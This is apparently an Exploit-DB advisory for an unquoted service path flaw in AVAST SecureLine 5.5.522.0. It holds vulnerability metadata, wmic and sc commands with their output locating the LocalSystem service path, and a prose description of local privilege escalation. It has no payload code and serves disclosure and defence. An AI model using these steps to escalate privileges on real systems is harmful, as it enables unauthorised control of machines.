AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path

vendor:

SecureLine

by:

Roberto Piña

7.2

CVSS

HIGH

Unquoted Service Path

426

CWE

Product Name: SecureLine

Affected Version From: 5.5.522.0

Affected Version To: 5.5.522.0

Patch Exists: NO

Related CWE: N/A

CPE: avast_secureline_5.5.522.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 8.1 Single Language x32 es

2020

AVAST SecureLine 5.5.522.0 – ‘SecureLine’ Unquoted Service Path

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Mitigation:

Ensure that all services are installed with fully qualified paths and that all services are running with the least privileges necessary.

Source

Exploit-DB raw data:

# Exploit Title: AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-03-24
# Vendor Homepage:https://www.avast.com/
# Software Link :https://www.avast.com/es-mx/download-thank-you.php?product=SLN&locale=es-mx
# Tested Version: 5.5.522.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 8.1 Single Language x32 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | f
indstr /i /v "C:\Windows\\" | findstr /i "Avast SecureLine" | findstr /i /v """
Avast SecureLine
         SecureLine                       C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe                                         
                                                       Auto

C:\>sc qc SecureLine
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SecureLine
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Avast SecureLine
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.